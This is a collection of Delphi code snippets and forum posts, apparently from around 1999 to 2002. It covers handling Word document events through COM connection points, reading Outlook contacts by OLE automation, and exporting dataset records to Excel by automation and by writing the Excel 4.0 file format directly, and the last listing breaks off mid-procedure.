// this class dispatch events from word

TWordDocumentEventDispatcher = class(TObject, IUnknown, IDispatch)

private

FOwner: TForm1;

FRefCount : Integer;

protected

{ IUnknown }

function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;

function _AddRef: Integer; stdcall;

function _Release: Integer; stdcall;

{ IDispatch }

function GetTypeInfoCount(out Count: Integer): HResult; stdcall;

function GetTypeInfo(Index, LocaleID: Integer; out TypeInfo): HResult; stdcall;

function GetIDsOfNames(const IID: TGUID; Names: Pointer;

NameCount, LocaleID: Integer; DispIDs: Pointer): HResult; stdcall;

function Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer;

Flags: Word; var Params; VarResult, ExcepInfo, ArgErr: Pointer): HResult; stdcall;

public

constructor Create(AOwner: TForm1);

end;

TForm1 = class(TForm)

Button1: TButton;

procedure Button1Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

private

{ Private declarations }

FDispatcher: TWordDocumentEventDispatcher;

FConnection: Integer;

FDoc: Variant;

procedure OnClose;

procedure Connect;

procedure Disconnect;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

{ TWordDocumentEventDispatcher }

constructor TWordDocumentEventDispatcher.Create(AOwner: TForm1);

begin

FOwner := AOwner;

FRefCount := 1;

end;

function TWordDocumentEventDispatcher.QueryInterface(const IID: TGUID; out Obj): HResult;

begin

if GetInterface(IID, Obj) then

begin

Result := S_OK;

Exit;

end;

if IsEqualIID(IID, WordDocEventIID) then

begin

GetInterface(IDispatch, Obj);

Result := S_OK;

Exit;

end;

Result := E_NOINTERFACE;

end;

function TWordDocumentEventDispatcher._AddRef: Integer;

begin

FRefCount := FRefCount + 1;

Result := FRefCount;

end;

function TWordDocumentEventDispatcher._Release: Integer;

begin

FRefCount := FRefCount -1;

Result := FRefCount;

end;

function TWordDocumentEventDispatcher.GetTypeInfoCount(out Count: Integer): HResult;

begin

Count := 0;

Result:= S_OK;

end;

function TWordDocumentEventDispatcher.GetTypeInfo(Index, LocaleID: Integer; out TypeInfo): HResult;

begin

Pointer(TypeInfo) := nil;

Result := E_NOTIMPL;

end;

function TWordDocumentEventDispatcher.GetIDsOfNames(const IID: TGUID; Names: Pointer;

NameCount, LocaleID: Integer; DispIDs: Pointer): HResult;

begin

Result := E_NOTIMPL;

end;

function TWordDocumentEventDispatcher.Invoke(DispID: Integer; const IID: TGUID;

LocaleID: Integer; Flags: Word; var Params;

VarResult, ExcepInfo, ArgErr: Pointer): HResult;

begin

try

case DispID of

-1: Exit; // DISPID_UNKNOWN

6: FOwner.OnClose;

end;

Result := S_OK;

except

Result := S_FALSE;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

WordApp : Variant;

Doc: Variant;

begin

Disconnect;

try

WordApp := GetActiveOleObject('Word.Application.8');

except on exception do

WordApp := CreateOleObject('Word.Application.8');

end;

WordApp.Visible := True;

WordApp.Activate;

FDoc := WordApp.Documents.Open('C:documents.doc');

Connect;

end;

procedure TForm1.Connect;

begin

InterfaceConnect(FDoc, WordDocEventIID, FDispatcher, FConnection);

end;

procedure TForm1.Disconnect;

begin

InterfaceDisconnect(FDoc, WordDocEventIID, FConnection);

FDoc := Unassigned;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

FDispatcher := TWordDocumentEventDispatcher.Create(Self);

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

Disconnect;

FDispatcher.Free;

end;

procedure TForm1.OnClose;

begin

MessageBox(0, 'OnClose', '', 0); // this procedure will be executed when you close document in the Word

end;

Comment from dr_gonzo 11/24/1999 04:14AM PST

Vladika.

This seems really intresting. I have problems making it work though. It doesn't compile cause Delphi 3.0 sais

"undeclared identifier: InterfaceConnect"

though I include the OleCtrl.pas

that beacuse the function is private.

Could you mail me the example source .zip-ed?

a.ohman@jit.se

This looks intresting. If the event ever go from Word at all that is.

Cause till now it's really look like Word doesn't send any events.

But I'd like to try this one out anyway.

. Gonzo

Comment from vladika 11/24/1999 04:47AM PST

Ok. I sent it.

Just in case I wrote source for this functions.

procedure InterfaceConnect(const Source: IUnknown; const IID: TIID;

const Sink: IUnknown; var Connection: Longint);

var

CPC: IConnectionPointContainer;

CP: IConnectionPoint;

begin

Connection := 0;

if Succeeded(Source.QueryInterface(IConnectionPointContainer, CPC)) then

if Succeeded(CPC.FindConnectionPoint(IID, CP)) then

CP.Advise(Sink, Connection);

end;

procedure InterfaceDisconnect(const Source: IUnknown; const IID: TIID;

var Connection: Longint);

var

CPC: IConnectionPointContainer;

CP: IConnectionPoint;

begin

if Connection <> 0 then

if Succeeded(Source.QueryInterface(IConnectionPointContainer, CPC)) then

if Succeeded(CPC.FindConnectionPoint(IID, CP)) then

if Succeeded(CP.Unadvise(Connection)) then Connection := 0;

end;

Comment from RBertora 11/24/1999 04:55AM PST

Just watching now as you two seem to have things cooking nicely :-)

But I'd be very surprised if you can get D5 to work with D3.

Rob ;-)

Comment from vladika 11/24/1999 04:57AM PST

Ok. I sent it.

Just in case I wrote source for this functions.

procedure InterfaceConnect(const Source: IUnknown; const IID: TIID;

const Sink: IUnknown; var Connection: Longint);

var

CPC: IConnectionPointContainer;

CP: IConnectionPoint;

begin

Connection := 0;

if Succeeded(Source.QueryInterface(IConnectionPointContainer, CPC)) then

if Succeeded(CPC.FindConnectionPoint(IID, CP)) then

CP.Advise(Sink, Connection);

end;

procedure InterfaceDisconnect(const Source: IUnknown; const IID: TIID;

var Connection: Longint);

var

CPC: IConnectionPointContainer;

CP: IConnectionPoint;

begin

if Connection <> 0 then

if Succeeded(Source.QueryInterface(IConnectionPointContainer, CPC)) then

if Succeeded(CPC.FindConnectionPoint(IID, CP)) then

if Succeeded(CP.Unadvise(Connection)) then Connection := 0;

end;

Comment from vladika 11/24/1999 05:05AM PST

Sorry for reposting.

To: RBertora

Why not?

I do not use special D5 features, classes or functions. I have not D3 at hand just now. But when I will back to home (4 hours later) I will convert it to D3 certainly. :)

Comment from vladika 11/24/1999 11:08AM PST

Also look at http://www.intac.com/~bly/com/resources/downloads.htm

"EventSinkImp is a utility that imports sink interfaces from COM server type libraries and automatically produces code for a Delphi non-visual component that publishes the sink methods as Delphi events."


get all outlook contacts

get all outlook contacts

{So how to read a collection of Contacts which are exist in MS Outlook?

This task is very popular. For example, you want to develop a sample tool

which will notify you about birthday for someone or you want to send

messages to "mailing list". So you want to naviagte thru list of defined

contacts and process any item.}

uses ComObj;

procedure TForm1.Button1Click(Sender: TObject);

const

olFolderContacts = $0000000A;

var

outlook, NameSpace, Contacts, Contact: OleVariant;

i: Integer;

begin

outlook := CreateOleObject('Outlook.Application');

NameSpace := outlook.GetNameSpace('MAPI');

Contacts := NameSpace.GetDefaultFolder(olFolderContacts);

for i := 1 to Contacts.Items.Count do

begin

Contact := Contacts.Items.Item(i);

{now you can read any property of contact. For example, full name and

email address}

ShowMessage(Contact.FullName + ' <' + Contact.Email1Address + '>');

end;

Outlook := UnAssigned;

end;

{if you need a birthday, you can retrieve it as DateToStr(Contact.Birthday)

Any contact item have a lot of properties. See a list (alphabet):

Birthday

Business2TelephoneNumber

BusinessAddress

BusinessAddressCity

BusinessAddressCountry

BusinessAddressPostalCode

BusinessAddressPostOfficeBox

BusinessAddressState

BusinessAddressStreet

BusinessFaxNumber

BusinessHomePage

BusinessTelephoneNumber

CompanyAndFullName

CompanyMainTelephoneNumber

CompanyName

ComputerNetworkName

Department

Email1Address

Email1AddressType

Email1DisplayName

Email2Address

Email2AddressType

Email2DisplayName

Email3Address

Email3AddressType

Email3DisplayName

FirstName

FTPSite

FullName

FullNameAndCompany

GovernmentIDNumber

Hobby

Home2TelephoneNumber

HomeAddress

HomeAddressCity

HomeAddressCountry

HomeAddressPostalCode

HomeAddressPostOfficeBox

HomeAddressState

HomeAddressStree

HomeFaxNumber

HomeTelephoneNumber

Initials

ISDNNumber

JobTitle

Language

LastName

LastNameAndFirstName

MailingAddress

MailingAddressCity

MailingAddressCountry

MailingAddressPostalCode

MailingAddressPostOfficeBox

MailingAddressState

MailingAddressStreet

MiddleName

NickName

OfficeLocation

OrganizationalIDNumber

PersonalHomePage

PrimaryTelephoneNumber

Profession

Suffix

Title

WebPage}


利用Excel的内置功能导入数据

type

TForm1 = class(TForm)

ADOQuery1: TADOQuery;

Button1: TButton;

procedure Button1Click(Sender: TObject);

private

FExcelBook: TExcelWorkBook;

FExcelSheet: TExcelWorkSheet;

FExcelApp: TExcelApplication;

procedure DataSetToExcel(AFileName: string);

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.DataSetToExcel(AFileName: string);

begin

try

FExcelApp.Visible[0] := False;

try

FExcelBook.ConnectTo(FExcelApp.Workbooks.Add(EmptyParam, 0));

except

raise Exception.Create('连接到Excel文件出错，可能是没有安装Excel软件');

end;

FExcelSheet.ConnectTo(FExcelBook.Worksheets[1] as _WorkSheet);

with FExcelSheet.QueryTables.Add(ADOQuery1.Recordset, FExcelSheet.Range['A3', EmptyParam], EmptyParam) do

begin

FieldNames := False;

Refresh(False);

end;

FExcelSheet.Columns.Item[3, EmptyParam].NumberFormatLocal := 'yyyy-mm-dd';

FExcelBook.SaveCopyAs(AFileName);

FExcelBook.Close(False);

finally

FExcelApp.Quit;

FExcelSheet.Disconnect;

FExcelBook.Disconnect;

FExcelApp.Disconnect;

end;

end;

{ TForm1 }

constructor TForm1.Create(AOwner: TComponent);

begin

inherited;

FExcelApp := TExcelApplication.Create(Self);

FExcelBook := TExcelWorkBook.Create(Self);

FExcelSheet := TExcelWorkSheet.Create(Self);

end;

destructor TForm1.Destroy;

begin

FExcelSheet.Free;

FExcelBook.Free;

FExcelApp.Free;

inherited;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Caption := 'begin open';

with ADOQuery1 do

begin

if not Active then

begin

SQL.Text := 'select * from mytable';

Open;

end;

DataSetToExcel('c:.xls');

end;

end;

这是利用Excel内置的功能，其它的功能各位再试试了。

还有一篇是直接写Excel文件格式的：

http://www.delphibbs.com/delphibbs/dispq.asp?lid=1051160

试过，两万的记录当然是写XLS格式快点，快他只是给出写一个Sheet的，而上面内置的，可以有多个Sheet,不过没有进度而已。


Excel 4.0文件格式导出数据

//****************************

// 数据输出

// Autumn 2002 in guangzhou

// delphi1999@21cn.com

//****************************

unit Unit2;

interface

uses

classes,db,graphics;

type

//temp**************************

{ TdxDBGridExportWrapper=class(tcomponent)

end;

TdxTreeListNode=class(tcomponent)

end;

}

//temp end**********************

TaExport = class

private

FFileName: string;

// FGrid: TdxDBGridExportWrapper;

// FSaveAll: Boolean;

FaDataSet: TDataSet;///////////

protected

TotalCount: Integer;

Stream: TStream;

procedure DoBeginWriting; virtual;

procedure DoEndWriting; virtual;

procedure DoWriteHeader; virtual;

procedure DoWriteFooter; virtual;

procedure DoWriteRecord; virtual;

public

procedure Execute; virtual;

procedure SaveToStream(Stream: TStream); virtual;

property aDataSet:TDataSet read FaDataSet write FaDataSet;////////

property FileName: string read FFileName write FFileName;

// property Grid: TdxDBGridExportWrapper read FGrid write FGrid;

// property SaveAll: Boolean read FSaveAll write FSaveAll;

end;

TaExportExcel = class(TaExport)

protected

// VisColIndexes: array [0..255] of Integer;

// VisColCount: Integer;

FFont:TFont;

procedure DoBeginWriting; override;

procedure DoEndWriting; override;

procedure DoWriteHeader; override;

procedure DoWriteFooter; override;

procedure DoWriteRecord; override;

public

constructor Create(AFont:TFont);virtual;

end;

implementation

// Excel format

const

XLSBOF: array[0..4] of Word = ($409, 6, 0, $10, 0);

XLSGUTS: array[0..5] of Word = ($80, 8, 0, 0, 0, 0);

XLSPalette: array[0..2] of Word = ($92, 0, 0);

XLSDimension: array [0..6] of Word = ($200, $0A, 0, $FFFF, 0, $FF, 0);

XLSEOF: array[0..1] of Word = ($0A, 0);

XLSFONTH: array[0..9] of Byte = ($31, 2, 0, 0, 0, 0, 0, 0, 8, 0);

XLSFONTG: array[0..9] of Byte = ($31, 2, 0, 0, 0, 0, 0, 0, 10, 0);

XLSFONT: array[0..9] of Byte = ($31, 2, 0, 0, 0, 0, 0, 0, 0, 0);

XLSXF1: array[0..15] of Byte = ($43, 4, $0C, 0, 0, 0, $F5, $FF, $20, 0, 0, $CE, 0, 0, 0, 0);

XLSXF2: array[0..15] of Byte = ($43, 4, $0C, 0, 1, 0, $F5, $FF, $20, $F4, 0, $CE, 0, 0, 0, 0);

XLSXF3: array[0..15] of Byte = ($43, 4, $0C, 0, 2, 0, $F5, $FF, $20, $F4, 0, $CE, 0, 0, 0, 0);

XLSXF4: array[0..15] of Byte = ($43, 4, $0C, 0, 0, 0, $F5, $FF, $20, $F4, 0, $CE, 0, 0, 0, 0);

XLSXF5: array[0..15] of Byte = ($43, 4, $0C, 0, 0, 0, 1, 0, $20, 0, 0, $CE, 0, 0, 0, 0);

XLSXF6: array[0..15] of Byte = ($43, 4, $0C, 0, 1, $21, $F5, $FF, $20, $F8, 0, $CE, 0, 0, 0, 0);

XLSXF7: array[0..15] of Byte = ($43, 4, $0C, 0, 1, $1F, $F5, $FF, $20, $F8, 0, $CE, 0, 0, 0, 0);

XLSXF8: array[0..15] of Byte = ($43, 4, $0C, 0, 1, $20, $F5, $FF, $20, $F8, 0, $CE, 0, 0, 0, 0);

XLSXF9: array[0..15] of Byte = ($43, 4, $0C, 0, 1, $1E, $F5, $FF, $20, $F8, 0, $CE, 0, 0, 0, 0);

XLSXF10: array[0..15] of Byte = ($43, 4, $0C, 0, 1, $0D, $F5, $FF, $20, $F8, 0, $CE, 0, 0, 0, 0);

XLSXF: array[0..15] of Byte = ($43, 4, $0C, 0, 5, 0, 1, 0, $21, $78, $41, 3, 0, 0, 0, 0);

XLSXFB: array[0..15] of Byte = ($43, 4, $0C, 0, 8, 0, 1, 0, $22, $78, $41, 2, $71, $71, $71, 0);

XLSXFH: array[0..15] of Byte = ($43, 4, $0C, 0, 6, 0, 1, 0, $22, $78, $41, 2, $71, $71, $71, $71);

XLSXFG: array[0..15] of Byte = ($43, 4, $0C, 0, 7, 0, 1, 0, $21, $78, $C1, 2, 0, 0, 0, 0);

XLSXFF: array[0..15] of Byte = ($43, 4, $0C, 0, 5, 0, 1, 0, $22, $78, $C1, 2, $B9, $B9, $B9, $B9);

XLSXFF1: array[0..15] of Byte = ($43, 4, $0C, 0, 5, 0, 1, 0, $22, $78, $C1, 2, $B9, 0, $B9, 0);

XLSXFRF: array[0..15] of Byte = ($43, 4, $0C, 0, 9, 0, 1, 0, $21, $78, $C1, 2, $B9, $B9, $B9, $B9);

XLSXFRF1: array[0..15] of Byte = ($43, 4, $0C, 0, 9, 0, 1, 0, $21, $78, $C1, 2, $B9, 0, $B9, 0);

XLSCOL: array[0..7] of Word = ($7D, $0C, 0, 0, 0, $F, 0, 0);

XLSSFONT: array[0..15] of Byte = ($31, 2, $0C, 0, $C8, 0, 0, 0, $FF, $7F, 5, $41, $72, $69, $61, $6C);

XLSLabel: array[0..5] of Word = ($204, 0, 0, 0, 0, 0);

XLSBlank: array[0..4] of Word = ($201, 6, 0, 0, $17);

XLSBlankF: array[0..4] of Word = ($201, 6, 0, 0, $19);

XLSBlankRF: array[0..4] of Word = ($201, 6, 0, 0, $1C);

// XLSBlankH: array[0..4] of Word = ($201, 6, 0, 0, $16);

// XLSBlankB: array[0..4] of Word = ($201, 6, 0, 0, $1A);

XLSNumber: array[0..4] of Word = ($203, 14, 0, 0, 0);

XLSRK: array[0..4] of Word = ($27E, 10, 0, 0, 0);

XLSFormula: array[0..15] of Word =($406, $1D, 0, 0, $18, 0, 0, 0, 0, 3, $0B, $25, 0, 0, 0, 0);

{---------TaExport ------------------------------------------------------------}

procedure TaExport.DoBeginWriting;

begin

end;

procedure TaExport.DoEndWriting;

begin

end;

procedure TaExport.DoWriteFooter;

begin

end;

procedure TaExport.DoWriteHeader;

begin

end;

procedure TaExport.DoWriteRecord;

begin

end;

procedure TaExport.Execute;

begin

Stream := TFileStream.Create(FileName, fmCreate);

try

SaveToStream(Stream);

finally

Stream.Free;

Stream := nil;

end;

end;

procedure TaExport.SaveToStream(Stream: TStream);

var

Current: TBookmarkStr;

i: Integer;

begin

if Assigned(FaDataSet) then

begin

FaDataSet.DisableControls;

Current := FaDataSet.Bookmark;

DoBeginWriting;

try

TotalCount := 0;

// write header

DoWriteHeader;

FaDataSet.First;

while not FaDataSet.EOF do

begin

// processing record

DoWriteRecord;

Inc(TotalCount);

FaDataSet.Next;

end;

DoWriteFooter;

finally

DoEndWriting;

FaDataSet.Bookmark := Current;

FaDataSet.EnableControls;

end;

end;

end;

{ --------TaExportExcel -------------------------------------------------------}

constructor TaExportExcel.Create(AFont: TFont);

begin

FFont:=AFont;

end;

procedure TaExportExcel.DoBeginWriting;

var

C: LongInt;

S: string;

B: Byte;

i, j, k: Integer;

begin

inherited;

//with Grid do

begin

{ VisColCount := 0;

for i := 0 to GetBandCount - 1 do

for j := 0 to GetHeaderRowCount(i) - 1 do

for k := 0 to GetHeaderColCount(i, j) - 1 do

if IsHeaderVisible(GetHeaderAbsoluteIndex(i,j,k)) then

begin

VisColIndexes[VisColCount] := GetHeaderAbsoluteIndex(i,j,k);

Inc(VisColCount);

end;}

Stream.WriteBuffer(XLSBOF, SizeOf(XLSBOF));

Stream.WriteBuffer(XLSGUTS, SizeOf(XLSGUTS));

// XLS Palette

XLSPalette[1] := 54;

XLSPalette[2] := 13;

Stream.WriteBuffer(XLSPalette, SizeOf(XLSPalette));

//if HeaderFont.Color = clNone then

C := 0;

// C := ColorToRGB(HeaderFont.Color);

Stream.WriteBuffer(C, SizeOf(C));

//if HeaderColor = clNone then

C:=ColorToRGB(clBtnface);

Stream.WriteBuffer(C, SizeOf(C));

//if GroupNodeTextColor = clNone then

Stream.WriteBuffer(C, SizeOf(C));

//if GroupNodeColor = clNone then

Stream.WriteBuffer(C, SizeOf(C));

//if Font.Color = clNone then

C:=ColorToRGB(clBlack);

Stream.WriteBuffer(C, SizeOf(C));

//if Color = clNone then

C:=ColorToRGB(clWhite);

Stream.WriteBuffer(C, SizeOf(C));

C := ColorToRGB(clWindowFrame);

Stream.WriteBuffer(C, SizeOf(C));

C := ColorToRGB(clWindow);

Stream.WriteBuffer(C, SizeOf(C));

//if BandFont.Color = clNone then

Stream.WriteBuffer(C, SizeOf(C));

//if BandColor = clNone then

C:=ColorToRGB(clBtnface);

Stream.WriteBuffer(C, SizeOf(C));

//if RowFooterTextColor = clNone then

C:=ColorToRGB(clBlack);

Stream.WriteBuffer(C, SizeOf(C));

//if RowFooterColor = clNone then

C:=ColorToRGB(clBtnface);

Stream.WriteBuffer(C, SizeOf(C));

//if GridLineColor = clNone then

C:=ColorToRGB(clBlack);

Stream.WriteBuffer(C, SizeOf(C));

// XLS Font

Stream.WriteBuffer(XLSSFont, SizeOf(XLSSFont));

Stream.WriteBuffer(XLSSFont, SizeOf(XLSSFont));

Stream.WriteBuffer(XLSSFont, SizeOf(XLSSFont));

Stream.WriteBuffer(XLSSFont, SizeOf(XLSSFont));

// Grid Font

S := FFont.Name;

B := Length(S);

XLSFont[2] := B + 7;

XLSFont[4] := FFont.Size*20 mod 256;

XLSFont[5] := FFont.Size*20 div 256;

XLSFont[6] := 0;

if (fsBold in FFont.Style) then XLSFont[6] := XLSFont[6] + 1;

if (fsItalic in FFont.Style) then XLSFont[6] := XLSFont[6] + 2;

if (fsUnderline in FFont.Style) then XLSFont[6] := XLSFont[6] + 4;

if (fsStrikeOut in FFont.Style) then XLSFont[6] := XLSFont[6] + 8;

XLSFont[8] := 12;

Stream.WriteBuffer(XLSFont, SizeOf(XLSFont));

Stream.WriteBuffer(B, SizeOf(B));

Stream.WriteBuffer(Pointer(S)^, Length(S));

// Header Font

S := FFont.Name;

B := Length(S);

XLSFontH[2] := B + 7;

XLSFontH[4] := FFont.Size*20 mod 256;

XLSFontH[5] := FFont.Size*20 div 256;

XLSFontH[6] := 0;

if (fsBold in FFont.Style) then XLSFontH[6] := XLSFontH[6] + 1;

if (fsItalic in FFont.Style) then XLSFontH[6] := XLSFontH[6] + 2;

if (fsUnderline in FFont.Style) then XLSFontH[6] := XLSFontH[6] + 4;

if (fsStrikeOut in FFont.Style) then XLSFontH[6] := XLSFontH[6] + 8;

Stream.WriteBuffer(XLSFontH, SizeOf(XLSFontH));

Stream.WriteBuffer(B, SizeOf(B));

Stream.WriteBuffer(Pointer(S)^, Length(S));

// Group Font

S := FFont.Name;

B := Length(S);

XLSFontG[2] := B + 7;

XLSFontG[4] := FFont.Size*20 mod 256;

XLSFontG[5] := FFont.Size*20 div 256;

XLSFontG[6] := 0;

if (fsBold in FFont.Style) then XLSFontG[6] := XLSFontG[6] + 1;

if (fsItalic in FFont.Style) then XLSFontG[6] := XLSFontG[6] + 2;

if (fsUnderline in FFont.Style) then XLSFontG[6] := XLSFontG[6] + 4;

if (fsStrikeOut in FFont.Style) then XLSFontG[6] := XLSFontG[6] + 8;

Stream.WriteBuffer(XLSFontG, SizeOf(XLSFontG));

Stream.WriteBuffer(B, SizeOf(B));

Stream.WriteBuffer(Pointer(S)^, Length(S));

// Band Font

S := FFont.Name;

B := Length(S);

XLSFont[2] := B + 7;

XLSFont[4] := FFont.Size*20 mod 256;

XLSFont[5] := FFont.Size*20 div 256;

XLSFont[6] := 0;

if (fsBold in FFont.Style) then XLSFont[6] := XLSFont[6] + 1;

if (fsItalic in FFont.Style) then XLSFont[6] := XLSFont[6] + 2;

if (fsUnderline in FFont.Style) then XLSFont[6] := XLSFont[6] + 4;

if (fsStrikeOut in FFont.Style) then XLSFont[6] := XLSFont[6] + 8;

XLSFont[8] := 16;

Stream.WriteBuffer(XLSFont, SizeOf(XLSFont));

Stream.WriteBuffer(B, SizeOf(B));

Stream.WriteBuffer(Pointer(S)^, Length(S));

// Footer Font

S := FFont.Name;

B := Length(S);

XLSFont[2] := B + 7;

XLSFont[4] := FFont.Size*20 mod 256;

XLSFont[5] := FFont.Size*20 div 256;

XLSFont[6] := 0;

if (fsBold in FFont.Style) then XLSFont[6] := XLSFont[6] + 1;

if (fsItalic in FFont.Style) then XLSFont[6] := XLSFont[6] + 2;

if (fsUnderline in FFont.Style) then XLSFont[6] := XLSFont[6] + 4;

if (fsStrikeOut in FFont.Style) then XLSFont[6] := XLSFont[6] + 8;

XLSFont[8] := 18;

Stream.WriteBuffer(XLSFont, SizeOf(XLSFont));

Stream.WriteBuffer(B, SizeOf(B));

Stream.WriteBuffer(Pointer(S)^, Length(S));

// Columns Fonts

for i := 0 to FaDataSet.Fields.Count - 1 do

begin

S := FFont.Name;

B := Length(S);

XLSFont[2] := B + 7;

XLSFont[4] := FFont.Size*20 mod 256;

XLSFont[5] := FFont.Size*20 div 256;

XLSFont[6] := 0;

if (fsBold in FFont.Style) then XLSFont[6] := XLSFont[6] + 1;

if (fsItalic in FFont.Style) then XLSFont[6] := XLSFont[6] + 2;

if (fsUnderline in FFont.Style) then XLSFont[6] := XLSFont[6] + 4;

if (fsStrikeOut in FFont.Style) then XLSFont[6] := XLSFont[6] + 8;

XLSFont[8] := 12;

Stream.WriteBuffer(XLSFont, SizeOf(XLSFont));

Stream.WriteBuffer(B, SizeOf(B));

Stream.WriteBuffer(Pointer(S)^, Length(S));

end;

// Grid

Stream.WriteBuffer(XLSXF1, SizeOf(XLSXF1));

Stream.WriteBuffer(XLSXF2, SizeOf(XLSXF2));

Stream.WriteBuffer(XLSXF2, SizeOf(XLSXF2));

Stream.WriteBuffer(XLSXF3, SizeOf(XLSXF3));

Stream.WriteBuffer(XLSXF3, SizeOf(XLSXF3));

for i := 0 to 9 do

Stream.WriteBuffer(XLSXF4, SizeOf(XLSXF4));

Stream.WriteBuffer(XLSXF5, SizeOf(XLSXF5));

Stream.WriteBuffer(XLSXF6, SizeOf(XLSXF6));

Stream.WriteBuffer(XLSXF7, SizeOf(XLSXF7));

Stream.WriteBuffer(XLSXF8, SizeOf(XLSXF8));

Stream.WriteBuffer(XLSXF9, SizeOf(XLSXF9));

Stream.WriteBuffer(XLSXF10, SizeOf(XLSXF10));

//if ShowGrid then

begin

XLSXF[12] := $A1;

XLSXF[13] := $A1;

XLSXF[14] := $A1;

XLSXF[15] := $A1;

end;

Stream.WriteBuffer(XLSXF, SizeOf(XLSXF));

Stream.WriteBuffer(XLSXFH, SizeOf(XLSXFH));

Stream.WriteBuffer(XLSXFG, SizeOf(XLSXFG));

Stream.WriteBuffer(XLSXFF, SizeOf(XLSXFF));

Stream.WriteBuffer(XLSXFF1, SizeOf(XLSXFF1));

Stream.WriteBuffer(XLSXFB, SizeOf(XLSXFB));

Stream.WriteBuffer(XLSXFRF, SizeOf(XLSXFRF));

Stream.WriteBuffer(XLSXFRF1, SizeOf(XLSXFRF1));

for i := 0 to FaDataSet.Fields.Count - 1 do

begin

XLSXF[4] := i + 10;

{case Columns[VisColIndexes[i]].Alignment of

taLeftJustify : }XLSXF[8] := $21;

{taRightJustify : XLSXF[8] := $23;

taCenter : XLSXF[8] := $22;

end;}

Stream.WriteBuffer(XLSXF, SizeOf(XLSXF));

end;

// Group Columns

{for i := 0 to GroupColumnCount - 1 do

begin

XLSCOL[2] := i;

XLSCOL[3] := i;

XLSCOL[4] := 400;

Stream.WriteBuffer(XLSCOL, SizeOf(XLSCOL));

end;}

// VsibleColumns

for i := 0 to FaDataSet.Fields.Count - 1 do

begin

XLSCOL[2] := i + 0;//GroupColumnCount;

XLSCOL[3] := i + 0;//GroupColumnCount;

XLSCOL[4] := 36 * 50;//GetHeaderBoundsWidth(VisColIndexes[i]);

Stream.WriteBuffer(XLSCOL, SizeOf(XLSCOL));

end;

Stream.WriteBuffer(XLSDimension, SizeOf(XLSDimension));

end;

end;

procedure TaExportExcel.DoEndWriting;

begin

inherited;

Stream.WriteBuffer(XLSEOF, SizeOf(XLSEOF));

end;

procedure TaExportExcel.DoWriteFooter;

{function FindSummaryCol(const FieldName: string; var Column: TdxDBTreeListColumn): Integer;

var

i: Integer;

begin

Result := -1;

for i := 0 to VisColCount - 1 do

if AnsiCompareText(Grid.Columns[VisColIndexes[i]].FieldName, FieldName) = 0 then

begin

Result := i;

Exit;

end;

end;}

var

i, ColIndx: Integer;

// Col: TdxDBTreeListColumn;

b: Byte;

begin

inherited;

//with Grid do

//if ShowSummaryFooter then

begin

{for i := 0 to GroupColumnCount - 1 do

begin

XLSBlankF[2] := TotalCount;

XLSBlankF[3] := i;

Stream.WriteBuffer(XLSBlankF, SizeOf(XLSBlankF));

end;}

for i := 0 to FaDataSet.Fields.Count - 1 do

begin

// with TdxDBGridColumn(Columns[VisColIndexes[i]]) do

begin

{case SummaryFooterType of

cstAvg: XLSFormula[15] := $501;

cstCount: XLSFormula[15] := $A901;

cstMax: XLSFormula[15] := $701;

cstMin: XLSFormula[15] := $601;

cstSum:} XLSFormula[15] := $10;

//end;

//ColIndx := FindSummaryCol(SummaryFooterField, Col);

//if (SummaryFooterType = cstCount) then

ColIndx := i;

if not (FaDataSet.Fields[i].DataType in [ftSmallInt,ftInteger,ftWord,ftFloat,

ftCurrency,ftBCD]) then

//(SummaryFooterType = cstNone) or (ColIndx = -1) then

begin

XLSBlankF[2] := TotalCount;

XLSBlankF[3] := //GroupColumnCount

0 + i;

Stream.WriteBuffer(XLSBlankF, SizeOf(XLSBlankF));

end

else

begin

XLSFormula[2] := TotalCount;

XLSFormula[3] := //GroupColumnCount

0 + i;

XLSFormula[11] := $25;

//if ShowBands then XLSFormula[11] := XLSFormula[11] + $100;

//if ShowHeader then

XLSFormula[11] := XLSFormula[11] + $100;

XLSFormula[12] := ((TotalCount - 1) shl 8) + $C0;

XLSFormula[13] := ((0

//GroupColumnCount

+ ColIndx) shl 8) + (((TotalCount - 1) shr 8) or $C0);

// if SummaryFooterType = cstSum then

XLSFormula[14] := $1900 + 0

//GroupColumnCount

+ ColIndx;

// else XLSFormula[14] := $4200 + GroupColumnCount + ColIndx;

Stream.WriteBuffer(XLSFormula, SizeOf(XLSFormula));

b := 0;

Stream.WriteBuffer(b, SizeOf(b));

end;

end;

end;

end;

end;

procedure TaExportExcel.DoWriteHeader;

var

i, j, k: Integer;

S: string;

begin

inherited;

//with Grid do

begin

// Draw Bands

{if ShowBands then

begin

{for i := 0 to GroupColumnCount - 1 do

begin

XLSBlank[2] := TotalCount;

XLSBlank[3] := i;

Stream.WriteBuffer(XLSBlank, SizeOf(XLSBlank));

end;

for j := 0 to FaDataSet.Fields.Count - 1 do

begin

XLSBlank[2] := TotalCount;

XLSBlank[3] := j + 0;//GroupColumnCount;

Stream.WriteBuffer(XLSBlank, SizeOf(XLSBlank));

end;

k := 0;

for i := 0 to GetBandCount - 1 do

begin

S := GetBandText(i);

XLSLAbel[1] := Length(S) + 8;

XLSLabel[2] := TotalCount;

XLSLabel[3] := k + GroupColumnCount;

XLSLabel[4] := $1A;

XLSLabel[5] := Length(S);

Stream.WriteBuffer(XLSLabel, SizeOf(XLSLabel));

Stream.WriteBuffer(Pointer(S)^, Length(S));

for j := 0 to GetHeaderRowCount(i) - 1 do

k := k + GetHeaderColCount(i,j);

end;

Inc(TotalCount);

end;}

// Draw Heders

//if ShowHeader then

begin

{for i := 0 to GroupColumnCount - 1 do

begin

XLSBlank[2] := TotalCount;

XLSBlank[3] := i;

Stream.WriteBuffer(XLSBlank, SizeOf(XLSBlank));

end;}

for i := 0 to FaDataSet.Fields.Count - 1 do

begin

S := FaDataSet.Fields[i].DisplayName; //Columns[VisColIndexes[i]].Caption;

{if Columns[VisColIndexes[i]].DisableCaption then

S := '';}

XLSLAbel[1] := Length(S) + 8;

XLSLabel[2] := TotalCount;

